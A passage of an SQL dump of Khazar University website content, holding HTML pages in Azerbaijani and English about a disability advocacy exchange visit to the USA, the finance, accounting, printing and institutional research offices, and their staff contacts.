Əlilliyin Müdafiəsi və İslahatlar üçün Açıq Dünya (Open World Program for Disability Advocacy and Reform) adlı mübadilə proqramı çərçivəsində Amerika Birləşmiş Ştatlarında işgüzar səfərdə oldu. Səfər iki hissədən ibarət idi. Səfərin birinci hissəsi 2018-ci il mayın 2-si və 3-də Vaşinqton şəhərində baş tutdu. Öncə keçmiş səfir və “Açıq Dünya”nın Qəyyumlar Şurasının icraçı direktoru Con O’Kif (John O’Keefe) Azərbaycan və Kosovandan olan nümayəndələri salamladı və “Açıq Dünya” Liderlik Mərkəzi (Open World Leadership Center) haqqında geniş məlumat verdi. Daha sonra Amerika Universitetinin müəllimi Dr. Ceyms Kirk (James M.Quirk) Amerika Federalizmi haqqında məruzə oxudu və Amerikanın siyası sistemi haqqında geniş məlumat verdi. Daha sonra Georgetown Universitetinin müəllimi Dr. Sem Potoliçio (Sam Potolicchio) “Dünya liderlərinin hazırlanması” adlı mühazirə oxudu. Birinci hissənin sonu Vaşinqton şəhərinin gəzintisi ilə başa çatdı.</p><p>Səfərin ikinci hissəsi Şimali Nevada Beynəlxalq Mərkəzinin təşkilatçılığı ilə ABŞ-ın Nevada ştatının Rino (Reno) şəhərində 04-10 may tarixlərində baş tutdu. Azərbaycandan olan nümayəndələr Rino və Karson (Carson) şəhərlərində əlilliyi olan şəxslər üçün yaradılmış şəraitlə tanış oldular və onların hüquqlarını müdafiə edən və sosial şəraitlə təmin edən dövlət və qeyri-hökumət təşkilatları ilə tanış oldular. Səfər zamanı Nevada Əlilliyin qorunması və Hüquq Mərkəzi, (Nevada Disability Advocacy and Law Center), Əlillikdə Mükəmməllik üçün Nevada Mərkəzi (Nevada Center for Excellence in Disabilities), Nevada Universitetinin Əlilliyi olan şəxslər üçün Resurs Mərkəzində (Disability Resource Center) və s. təşkilatların və mərkəzlərin fəaliyyətləri ilə tanış olundu, Azərbaycanda əlilliyi olan şəxslərin hüquqlarının qorunması üçün həyata keçirilən fəaliyyətlər haqqında məlumat verildi. Rima Məmmədova Azərbaycanda yaradılmış və Xəzər Universitetində fəaliyyət göstərən ilk Əlilliyi olan Tələbələr üçün Mərkəz haqqında həmkarlarına geniş məlumat verdi və gələcək əməkdaşlığa dəvət etdi.</p><p>Nümayəndələr, həçminin, ABŞ Konqresinin üzvü olan Mark Amodinin (Mark Amodei) Rino şəhərində fəaliyyət göstərən ofisinin əməkdaşları ilə görüşdülər. Görüş zamanı Rima Məmmədova konqresin mükafatı (sertifikat) ilə təltif olundu.</p><p>Səfər zamanı Nevada ştatında yerləşən Taho gölünə (Lake Tahoe) gəzinti təşkil olundu.</p>'),(1675,1042,'en','Financial Office','Financial Office','<p>The finance office is responsible for administration of the university’s financial procedures and provides complete and accurate information about financial activities.</p><p>The finance office’s activities include organization and management of planning and statistical work as well as providing a comprehensive and operational analysis of financial and economic activity with the objective of improving the efficiency of usage of funds.  <br></p><p>The finance office organizes the accounting of business and financial activities and supervises of the efficient use of material, labor and financial resources, reliability and timeliness of accounting, and control of effective and targeted spending of budget funds.  <br></p>\r\n<p>The finance and accounting offices ensure preparation\r\nof a balance sheet and operational summary reports on revenue and expenditure\r\nand budgets as well as other financial and statistical reports.&nbsp; The\r\noffice provides technical assistance to university department employees in\r\naccounting, monitoring, reporting and economic analysis.</p><p><br></p><h3><strong>Contacts:</strong></h3><p><strong><a href=\"http://www.khazar.org/files/letters/Nagi_Bayramli_cv.pdf\"><img src=\"/files/letters/nagi_b.JPG\" style=\"float:left;width:150px;height:178px;margin-left:7px;margin-right:7px;margin-bottom:7px\"></a></strong><strong><a href=\"http://www.khazar.org/files/letters/Nagi_Bayramli_cv.pdf\">Naghi Bayramli</a></strong></p><p><strong>Director&nbsp;of Financial&nbsp;office</strong></p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:nbayramli@khazar.org\" style=\"font-size:13.5pt\">nbayramli[at]khazar.org</a></p><p><a title=\"nbayramli@khazar.org\" target=\"_self\" tabindex=\"0\" label=\"Email nbayramli@khazar.org\"><strong>Phone:</strong>&nbsp;(+994 12) 421 10 93 (236)</a></p>  <p><br></p>'),(1676,1043,'en','Accounting Office','Accounting Office','<p>Main responsibilities of the Accounting Department:</p>\r\n<p>1. Continuous maintenance of accounting control procedures throughout university life cycle.</p>\r\n<p>2. Ensure an effective use of financial resourses and an accurate record of expenses.</p>\r\n<p>3. Ensure that assets and liabilities records are maintained and controlled in compliance with accepted policies and procedures.</p>\r\n<p>4. Writing-off of outdated inventories and fixed assets, intangible assets and revaluation of fixed assets in accordance with relevant legislation.</p>\r\n<p>5. Keeping and analyzing of source documents, financial transaction documents, accounting registers and financial information to prepare financial statements.</p>\r\n<p>6. Recommends on improvement of applied accounting software and automation of accounting procesess.</p>\r\n<p>7. Organization of accounting informaton system in accordance with international and national standards.</p>\r\n<p>8. Ensure the accurate calculation of salaries and wages, wages withholding taxes and other compensations (including travel allowances) and their timely payment.</p>\r\n<p>9. Take the necessary measures for the implementation of banking and treasury operations.</p>\r\n<p>10. Preparation of commented financial statements, including information and reports, which must be submitted in accordance with with financial policies, regulation and legislation.</p>\r\n<p>11. Maintenance of financial, budgetary, personnel and other regulations and disciplines.</p>\r\n<p>12. Ensure the storage of accounting records and financial information on electronic and paper format mediums.</p>'),(4649,2760,'az','İşçi heyəti','İşçi heyəti','<p><strong><a href=\"http://www.khazar.org/files/letters/CV_Emin%20Beylerov_ENG.pdf\"><img src=\"/files/letters/emin_b.JPG\" style=\"width:150px;height:219px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\">Emin Bəylərov</a></strong></p><p><strong>Baş mühasib</strong></p><p><strong>E-mail:&nbsp;</strong><a href=\"http://mailto%3Bbemin[at]khazar.org/\">bemin[at]khazar.org</a></p><p><strong>Telefon:&nbsp;</strong>(+994 12) 421 10 93 (205)</p><p><br></p><p><br></p><p><br></p>\r\n<hr>\r\n<p><strong><a href=\"http://www.khazar.org/files/letters/Pers.%C4%B0nf.%20of%20K.Karimov%20(1).pdf\"><img src=\"/files/letters/K_Karimov.JPG\" style=\"width:150px;height:202px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\">Kərim Kərimov</a></strong></p><p><strong>Mühasib</strong></p><p><br></p><p><strong><br></strong></p><p><br></p><p><br></p>\r\n<hr>\r\n<p><strong><a href=\"http://www.khazar.org/files/letters/Sahifa_Murshudova_CV.pdf\"><img src=\"/files/letters/sahifa_m.JPG\" style=\"width:150px;height:124px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\">Səhifə Mürşüdova</a></strong></p><p><strong><a href=\"http://www.khazar.org/files/letters/Sahifa_Murshudova_CV.pdf\"></a></strong><strong>Mühasib</strong></p><p><strong>E-mail:&nbsp;</strong><a href=\"http://mailto:smurshudova@khazar.org\">smurshudova[at]khazar.org</a></p>'),(4650,2760,'en','Staff','Staff','<p><strong><a href=\"http://www.khazar.org/files/letters/CV_Emin%20Beylerov_ENG.pdf\"><img src=\"/files/letters/emin_b.JPG\" style=\"width:150px;height:219px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\">Emin Baylarov</a></strong></p><p><strong>Chief accountant  </strong></p><p><strong>E-mail:&nbsp;</strong><a href=\"http://mailto%3Bbemin[at]khazar.org/\">bemin[at]khazar.org</a></p><p><strong>Phone:&nbsp;</strong>(+994 12) 421 10 93 (205)</p><p><br></p><p><br></p><p><br></p>\r\n<hr>\r\n<p><strong><a href=\"http://www.khazar.org/files/letters/Pers.%C4%B0nf.%20of%20K.Karimov%20(1).pdf\"><img src=\"/files/letters/K_Karimov.JPG\" style=\"width:150px;height:202px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\">Karim Karimov</a></strong></p><p><strong>Accountant</strong></p><p><strong><br></strong></p><p><strong><br></strong></p><p><br></p><p><br></p>\r\n<hr>\r\n<p><strong><a href=\"http://www.khazar.org/files/letters/Sahifa_Murshudova_CV.pdf\"><img src=\"/files/letters/sahifa_m.JPG\" style=\"width:150px;height:124px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\">Sahifa&nbsp;Murshudova</a></strong></p><p><strong><a href=\"http://www.khazar.org/files/letters/Sahifa_Murshudova_CV.pdf\"></a></strong><strong><strong>Accountant</strong>  </strong></p><p><strong>E-mail:&nbsp;</strong><a href=\"http://mailto:smurshudova@khazar.org\">smurshudova[at]khazar.org</a></p>'),(1677,1044,'en','Printing House','Printing House','<p margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\">The\r\nKhazar University Printing House provides offset printing, copying,\r\ntypesetting, binding and other services for the University and for the members\r\nof the University community.</p>\r\n<p margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\">The\r\nPrinting House satisfies regular printing orders of the Khazar University\r\nPress.</p>\r\n<p margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\">Apart\r\nfrom Khazar View magazine and research periodicals, the Printing House handles\r\nprinting of various textbooks, monographs, research works and conference papers\r\nof the faculty members, and translation works.</p>  \r\n<h3>Staff</h3><p><strong><a href=\"http://www.khazar.org/files/letters/Rufat_Isayev_CV.pdf\"><img src=\"/files/letters/Isayev-Rufat.jpg\" style=\"width:150px;height:180px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\">Rufat Isayev</a></strong></p><p><strong>Director</strong></p><p><strong>E-mail: </strong><a href=\"mailto:risayev@khazar.org\">risayev[at]khazar.org</a>  <a href=\"http://mailto:risayev@khazar.org\"></a></p><p><strong>Phone:</strong>&nbsp;(+994 12) 421 10 93 (222)  </p><p><br></p><p><br></p>\r\n<hr>\r\n<p><strong><a href=\"http://www.khazar.org/files/letters/Azerkhan_Yunusov_CV.pdf\"><img src=\"/files/letters/azerxan.jpg\" style=\"width:150px;height:184px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\">Azerkhan Yunusov</a></strong></p><p><strong>Technical specialist</strong></p><p><br></p><p><br></p><p><br></p><p><br></p>\r\n<hr>\r\n<p><strong><a href=\"http://www.khazar.org/files/letters/Aynura_Khalilova_CV.pdf\"><img src=\"/files/letters/aynure-xelilova.jpg\" style=\"width:150px;height:180px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\">Aynura Khalilova</a></strong>&nbsp;</p><p><strong>Specialist</strong></p><p><strong><br></strong></p><p><strong><br></strong></p><p><br></p><p><br></p>\r\n<hr>\r\n<p><strong><a href=\"http://www.khazar.org/files/letters/Abilova_Mehri_CV.pdf\"><img src=\"/files/letters/abilova-Mehri.jpg\" style=\"width:150px;height:203px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\">Mehri Abilova</a></strong></p><p><strong><a href=\"http://www.khazar.org/files/letters/Abilova_Mehri_CV.pdf\"></a><strong>Specialist</strong>  </strong></p><p><strong><br></strong></p><p><strong><br></strong></p><p><strong><br></strong></p><p><br></p>\r\n<hr>\r\n<p><strong><a href=\"http://www.khazar.org/files/letters/isayeva_kemale_CV.pdf\"><img src=\"/files/letters/isayeva-Kemale.jpg\" style=\"width:150px;height:192px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\">Kamala Isayeva</a></strong></p><p><strong><strong>Specialist</strong>  </strong></p><p><strong><br></strong></p><p><strong><br></strong></p><p><br></p>'),(1678,1045,'en','Institutional Research','Institutional Research','<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><br></p><p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\">The\r\ncentral mission of the Institutional Research &nbsp;is the collection,\r\norganization, and analysis of institutional and other data to support\r\ninstitutional management, operations, decision-making, and planning functions.</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\">Included\r\nin this central mission is systematic information processing of University-wide\r\ndata leading to broadly based institutional perspectives and understanding.</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\">Also\r\nincluded are studies related to projected needs, program objectives, as well as\r\nefficiency and effectiveness in the use of institutional resources.</p>'),(1679,1046,'az','Haqqımızda','Haqqımızda','<p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong><br></strong></p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>Məqsədlər</strong></p>\r\n<p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\">•&nbsp; Araşdırmalar\r\nnəticəsində alınan idarəetmə məlumatlarının yaradılması, təhlili və təfsiri.</p>\r\n<p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\">•&nbsp; Universitetin\r\nfəaliyyəti haqqında göstəricilərin toplanması.</p>\r\n<p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\">•&nbsp;\r\nDepartamentlərə yardım məqsədi ilə mövcud tədris proqramlarinin təhlili və\r\ndigər qiymətləndirmə&nbsp;&nbsp;&nbsp; vasitələrinin köməyi ilə təlim və öyrnmə\r\nproseslərinin təkmilləşdirilməsi.</p>\r\n<p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\">•&nbsp; İdarəetmə,\r\nplanlaşdırma və qərar qəbuletmə prosesləri üçün Universitet rəhbərliyini\r\netibarlı və düzgün göstəricilər, məlumatlar və təhlil nəticələri ilə təmin\r\nedilməsi.</p>\r\n<p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\">•&nbsp; Tarixi,\r\nanalitik, tədqiqat, layihələndirmə və müxtəlif proqramlar üçün Universitetin\r\nməlumat fayllarını qorunması və inkişaf etdirılməsi.</p>\r\n<p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\">•&nbsp; İnstitusional\r\ngöstəricilərin yayılmasının əlaqələndirilməsi.</p>\r\n<p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\">&nbsp;</p>\r\n<p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>Əsas tədqiqat sahələri</strong></p>\r\n<p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>•&nbsp;&nbsp;</strong>Akademik fəaliyyət:</p>\r\n<p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\">-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\ntədris proqramları</p>\r\n<p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\">-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nsiniflər</p>\r\n<p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\">-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\ntələbə qəbulu</p>\r\n<p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\">-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nmüəllim heyəti</p>\r\n<p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\">•&nbsp; Tələbə\r\nprofilləri:</p>\r\n<p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\">-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nBirinci sinif (freshman)</p>\r\n<p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\">-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nİkinci sinif (sophomore)</p>\r\n<p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\">-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nÜçüncü sinif (junior)</p>\r\n<p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\">-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nDördüncü sinif (senior)</p>\r\n<p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\">•&nbsp; Məzunlar:</p>\r\n<p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\">-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nbakalavr</p>\r\n<p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\">-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nmagistr</p>\r\n<p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\">-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\ndoktor</p>\r\n<p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\">•&nbsp; Qiymətləndirmə</p>\r\n<p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\">•&nbsp; İşçi heyət:</p>\r\n<p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\">-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nakademik heyət</p>\r\n<p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\">-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nqeyri-akademik heyət</p>\r\n<p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\">•&nbsp; İnstitusional\r\ngöstəricilər:</p>\r\n<p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\">-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nkitabxana fondu</p>\r\n<p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\">-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\ninformasiya texnologiyaları</p>'),(1680,1046,'en','About Us','About Us','<div><br></div><div><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>Goals</strong></p>\r\n<p margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:11.25pt;background:white\"\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nCreate, analyze and\r\ninterpret management information from survey data.</p>\r\n<p margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:11.25pt;background:white\"\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nCollect data about the\r\nUniversity’s performance.</p>\r\n<p margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:11.25pt;background:white\"\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nImprove teaching and\r\nlearning by assisting departments with program reviews and other assessment\r\nefforts.</p>\r\n<p margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:11.25pt;background:white\"\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nprovide the University\r\nadministration with reliable and valid data, information, and analyses for the\r\nmanagement, planning, and decision-making processes of the University.</p>\r\n<p margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:11.25pt;background:white\"\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\ndevelop and maintain\r\nUniversity data files for historical, analytical, research, and projection\r\nactivities and programs.</p>\r\n<p margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:11.25pt;background:white\"\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nCoordinate the\r\ndissemination of institutional data</p>\r\n<p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\">&nbsp;</p>\r\n<p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>Main research\r\nfields&nbsp;</strong></p>\r\n<p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\">•&nbsp;&nbsp;&nbsp;\r\nAcademic Profile</p>\r\n<p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\">-&nbsp;&nbsp;&nbsp;&nbsp;\r\nDegree Programs</p>\r\n<p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\">- &nbsp; &nbsp; Class</p>\r\n<p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\">- &nbsp; &nbsp;\r\n&nbsp;Student Admission</p>\r\n<p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\">- &nbsp; &nbsp;\r\nFaculty</p>\r\n<p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\">&nbsp;</p>\r\n<p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\">•&nbsp;&nbsp;&nbsp;&nbsp;\r\nStudent Profile</p>\r\n<p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\">-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nFreshman Student Profile</p>\r\n<p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\">-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nSophomore Student Profile</p>\r\n<p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\">-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nJunior Student Profile</p>\r\n<p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\">-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nSenior Student Profile</p>\r\n<p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\">&nbsp;</p>\r\n<p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\">&nbsp;•&nbsp;&nbsp;&nbsp;&nbsp;\r\nGraduation Profile</p>\r\n<p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\">-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nUndergraduate</p>\r\n<p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\">-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nGraduate</p>\r\n<p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\">&nbsp;</p>\r\n<p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\">&nbsp;•&nbsp;&nbsp;&nbsp;&nbsp;\r\nAssesment</p>\r\n<p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\">&nbsp;</p>\r\n<p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\">&nbsp;•&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nEmployee Profile</p>\r\n<p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\">-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nAcademic</p>\r\n<p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\">-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nNon-Academic</p>\r\n<p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\">&nbsp;</p>\r\n<p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\">•&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nİnstitutional Data</p>\r\n<p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\">-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n&nbsp;Library Holdings</p>\r\n<p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\">-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nTechnology İnformation</p>  <br></div>'),(1681,1045,'az','İnstitusional Araşdırmalar','İnstitusional Araşdırmalar','<p>İnstitusional Araşdırmalar Mərkəzinin əsas vəzifəsi institusional idarəetməni, əməliyyatları, qərarların qəbul edilməsi və planlaşdırma funksiyalarının dəstəklənməsi üçün institusional və digər göstəricilərin toplanması, təşkili və təhlilini həyata keçirməkdir.</p><p>Bu vəzifənin mərkəzində geniş institusional perspektivlər nöqteyi-nəzərindən ümumüniversitet göstəricilərinin sistemli məlumat təhlili əsas yer tutur.  <br></p><p>Buraya həmçinin nəzərdə tutulan ehtiyaclar, proqram məqsədləri və eyni zamanda təşkilati resursların istifadə edilmə səmərəliliyi və effektlivliyi ilə əlaqədar tədqiqatlar da daxildir.&nbsp;</p>'),(4567,2706,'az','\"Xəzər Universitetində I Çin həftəsi\"nin “Ənənəvi Çin mətbəxini kəşf edin” adlı 3-cü günü keçirildi','2017-ci il dekabrın 6-da Xəzər Universiteti Kitabxana-İnformasiya Mərkəzinin təşkilatçılığı ilə keçirilən I Çin həftəsinin “Ənənəvi Çin mətbəxini...','<p>2017-ci il dekabrın 6-da Xəzər Universiteti Kitabxana-İnformasiya Mərkəzinin təşkilatçılığı ilə keçirilən I Çin həftəsinin “Ənənəvi Çin mətbəxini kəşf edin” adlı tədbiri baş tutdu. Tədbirdə xüsusi dəvət olunmuş aşpaz Liu Lili&nbsp;Çin mətbəxini, digər dəvət almış çinli aşpazlar isə&nbsp;məşhur Çin&nbsp;çayını, müxtəlif yemək və şirniyyatları iştirakçılara təqdim etdilər.</p><p>Tədbir iştirakçılar tərəfindən maraqla qarşılandı və yüksək qiymətləndirildi.</p>'),(1906,1172,'en','Staff','Staff','<div><br></div><div style=\"font-size:medium\">Director - <a href=\"http://www.khazar.org/files/pdf/CV_Rafiq_Ahmedov.pdf\">Rafig Ahmadov</a>, PhD&nbsp;</div><div style=\"font-size:medium\"><br></div><div><a href=\"http://mailto:rahmadov@khazar.org\" style=\"font-size:medium\"></a><span style=\"font-size:medium\"><a href=\"mailto:rahmadov@khazar.org\"><strong>rahmadov@khazar.org</strong></a></span><strong>&nbsp;</strong>   <br></div>'),(1682,1047,'en','Activities','Activities','<div><br></div><div><p style=\"font-size: medium;\" margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\">Profiles for 2013-2014\r\nacademic year:</p>\r\n<p style=\"font-size: medium;\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:11.25pt;background:white\"\"=\"\">1.&nbsp;&nbsp;&nbsp;&nbsp;\r\n<strong><a href=\"http://www.khazar.org/files/social/Schools_(General_%C4%B0nformation).pptx\">Schools</a></strong></p>\r\n<p style=\"font-size: medium;\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:11.25pt;background:white\"\"=\"\">2.&nbsp;&nbsp;&nbsp;&nbsp;\r\n<strong>Academic Departments</strong></p>\r\n<p style=\"font-size: medium;\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:11.25pt;background:white\"\"=\"\">3.&nbsp;&nbsp;&nbsp;&nbsp;\r\n<strong>Student Staff</strong></p>\r\n<p style=\"font-size: medium;\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:11.25pt;background:white\"\"=\"\">4.&nbsp;&nbsp;&nbsp;&nbsp;\r\n<strong><a href=\"http://www.khazar.org/files/social/Class_Size.pptx\">Class Size</a></strong></p>\r\n<p style=\"font-size: medium;\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:11.25pt;background:white\"\"=\"\">5.&nbsp;&nbsp;&nbsp;&nbsp;\r\n<strong><a href=\"http://www.khazar.org/files/social/Number_of_Majors.pptx\">Number of Majors</a></strong></p>\r\n<p style=\"font-size: medium;\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:11.25pt;background:white\"\"=\"\">6.&nbsp;&nbsp;&nbsp;&nbsp;\r\n<strong><a 